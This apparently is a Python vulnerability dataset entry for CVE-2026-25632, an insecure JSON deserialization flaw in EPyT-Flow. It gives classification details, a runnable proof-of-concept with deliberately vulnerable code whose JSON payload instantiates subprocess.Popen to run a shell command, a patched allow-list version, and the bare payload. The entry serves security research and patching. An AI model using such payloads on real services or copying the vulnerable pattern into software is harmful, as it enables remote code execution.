CVE-2026-25632
EPyT-Flow allows remote code execution via insecure JSON deserialization.
- CVSS 10.0
- CWE-502
- Input Validation and Sanitization
- Remote
EPyT-Flow is a Python package designed for the easy generation of hydraulic and water quality scenario data of water distribution networks. Prior to 0.16.1, EPyT-Flow’s REST API parses attacker-controlled JSON request bodies using a custom deserializer (my_load_from_json) that supports a type field. When type is present, the deserializer dynamically imports an attacker-specified module/class and instantiates it with attacker-supplied arguments. This allows invoking dangerous classes such as subprocess.Popen, which can lead to OS command execution during JSON parsing. This also affects the loading of JSON files. This vulnerability is fixed in 0.16.1.
- CWE
- CWE-502
- CVSS base score
- 10.0
- Published
- 2026-02-06
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Serialization Issues
- Category
- Input Validation and Sanitization
- Subcategory
- Insecure Parsing or Deserialization
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- EPyT-Flow
- Fixed by upgrading
- Yes
Solution
Upgrade EPyT-Flow to version 0.16.1 or later.
Vulnerable code sample
import json
import subprocess
import sys
# In a real scenario, this would involve dynamic imports.
# For simplicity and clarity in this PoC, we use a map.
# The underlying principle of using a 'type' field to instantiate
# arbitrary classes remains the same. A more advanced version would use
# __import__ or importlib.import_module.
def _get_class(type_str):
"""
Dynamically retrieves a class based on a string.
A real implementation would use __import__ or importlib.
"""
if type_str == "subprocess.Popen":
return subprocess.Popen
# In a real vulnerable implementation, this would be more generic:
# try:
# module_path, class_name = type_str.rsplit('.', 1)
# module = __import__(module_path, fromlist=[class_name])
# return getattr(module, class_name)
# except (ImportError, AttributeError, ValueError):
# raise TypeError(f"Could not find type '{type_str}'")
raise TypeError(f"Unsupported type '{type_str}'")
def my_load_from_json(json_string):
"""
Vulnerable custom JSON deserializer.
It looks for a 'type' key to dynamically instantiate objects.
"""
def _hook(d):
if 'type' in d:
type_str = d.pop('type')
cls = _get_class(type_str)
# The remaining items in the dictionary are used as keyword arguments
# for the class constructor. This is the dangerous part.
return cls(**d)
return d
return json.loads(json_string, object_hook=_hook)
if __name__ == '__main__':
print("Demonstrating CVE-2026-25632 vulnerability.")
print("This will attempt to create a file named 'pwned.txt' in the current directory.")
# Attacker-controlled JSON payload.
# It instructs the deserializer to instantiate `subprocess.Popen`
# and passes arguments to execute a command.
# On Linux/macOS: 'touch pwned.txt'
# On Windows: 'type NUL > pwned.txt'
command = "touch pwned.txt"
if sys.platform == "win32":
command = 'cmd /c "type NUL > pwned.txt"'
malicious_json_payload = f"""
{{
"description": "This is a malicious payload.",
"action": {{
"type": "subprocess.Popen",
"args": "{command}",
"shell": true
}}
}}
"""
print("\n[+] Malicious JSON payload to be processed:")
print(malicious_json_payload)
try:
# The vulnerability is triggered during the deserialization process.
print("[+] Calling the vulnerable 'my_load_from_json' function...")
result = my_load_from_json(malicious_json_payload)
print("[+] Deserialization complete.")
print("[+] A 'subprocess.Popen' object was created and the command was executed.")
print("\n[!] Check your current directory for a file named 'pwned.txt'.")
except Exception as e:
print(f"\n[-] An error occurred: {e}")
print("[-] The demonstration may have failed.")Patched code sample
import json
import importlib
# In a real-world fix, this set would be populated with the fully-qualified
# string names of classes that are considered safe and necessary for the
# application's functionality.
# For example: 'epyt_flow.scenarios.Scenario', 'epyt_flow.data.Model'
SAFE_TO_DESERIALIZE = {
'my_app.safe_models.Configuration',
'my_app.safe_models.UserData'
}
def my_load_from_json_fixed(json_string: str):
"""
Represents the fixed version of the JSON deserializer.
The vulnerability is fixed by replacing the dangerous dynamic class loading
with a validation mechanism. It checks if the type specified in the JSON
payload is present in a pre-defined 'allow-list' (SAFE_TO_DESERIALIZE).
If the type is not in the allow-list, it refuses to proceed, raising
a TypeError. This prevents attackers from specifying and instantiating
arbitrary, malicious classes like 'subprocess.Popen'.
"""
data = json.loads(json_string)
if isinstance(data, dict) and 'type' in data:
requested_type = data.get('type')
# --- FIX STARTS HERE ---
# Instead of blindly importing, validate the requested type against
# a strict, pre-defined set of allowed classes.
if requested_type not in SAFE_TO_DESERIALIZE:
raise TypeError(
f"Deserialization of type '{requested_type}' is not allowed for security reasons."
)
# --- FIX ENDS HERE ---
# If the type is safe, proceed with controlled instantiation.
# This part of the logic is retained to preserve functionality for
# legitimate, safe types.
try:
module_path, class_name = requested_type.rsplit('.', 1)
module = importlib.import_module(module_path)
cls = getattr(module, class_name)
# The arguments for instantiation are still taken from the payload,
# but only for the now-verified-safe class.
args = data.get('args', {})
# This is now safe because 'cls' is guaranteed to be one of the
# types from the SAFE_TO_DESERIALIZE set.
return cls(**args)
except (ImportError, AttributeError, ValueError) as e:
# Handle potential errors during instantiation of safe types
raise RuntimeError(f"Failed to instantiate allowed type '{requested_type}': {e}") from e
# If no 'type' is specified, just return the parsed data as-is.
return data
# Example of a 'safe' module and classes for demonstration purposes.
# In a real application, these would be part of the package's own code.
class MockSafeModule:
class Configuration:
def __init__(self, settings=None):
self.settings = settings or {}
print(f"SAFE: Instantiated Configuration with settings: {self.settings}")
class UserData:
def __init__(self, username=None):
self.username = username
print(f"SAFE: Instantiated UserData for user: {self.username}")
# To make the example runnable, we can inject this mock module into sys.modules.
import sys
# This creates a dummy module 'my_app.safe_models' that can be imported.
safe_models = MockSafeModule()
sys.modules['my_app'] = type('module', (), {})()
sys.modules['my_app.safe_models'] = safe_models
if __name__ == '__main__':
# --- DEMONSTRATION OF THE FIX ---
# 1. Malicious Payload attempting to execute a command.
# This payload would have worked with the vulnerable version.
malicious_payload = """
{
"type": "subprocess.Popen",
"args": {
"args": ["touch", "/tmp/pwned"]
}
}
"""
print("--- Attempting to deserialize a malicious payload ---")
try:
my_load_from_json_fixed(malicious_payload)
except TypeError as e:
print(f"SUCCESS: The fix prevented deserialization. Error: {e}\n")
# 2. Legitimate Payload using an allowed type.
# This payload is for a class listed in SAFE_TO_DESERIALIZE.
legitimate_payload = """
{
"type": "my_app.safe_models.Configuration",
"args": {
"settings": {"mode": "test", "retries": 3}
}
}
"""
print("--- Attempting to deserialize a legitimate payload ---")
try:
result = my_load_from_json_fixed(legitimate_payload)
print(f"SUCCESS: The fix allowed deserialization of a safe object.")
print(f"Result type: {type(result)}, Settings: {result.settings}\n")
except Exception as e:
print(f"FAILURE: An unexpected error occurred: {e}\n")
# 3. Benign payload without a 'type' field.
# This should always be safe.
simple_payload = """
{
"data": "some_value",
"id": 123
}
"""
print("--- Attempting to deserialize a simple JSON payload ---")
try:
result = my_load_from_json_fixed(simple_payload)
print("SUCCESS: The fix correctly handled a simple JSON object.")
print(f"Result: {result}")
except Exception as e:
print(f"FAILURE: An unexpected error occurred: {e}")Payload
{
"type": "subprocess.Popen",
"args": ["touch", "/tmp/pwned"]
}
Cite this entry
@misc{vaitp:cve202625632,
title = {{EPyT-Flow allows remote code execution via insecure JSON deserialization.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-25632},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-25632/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
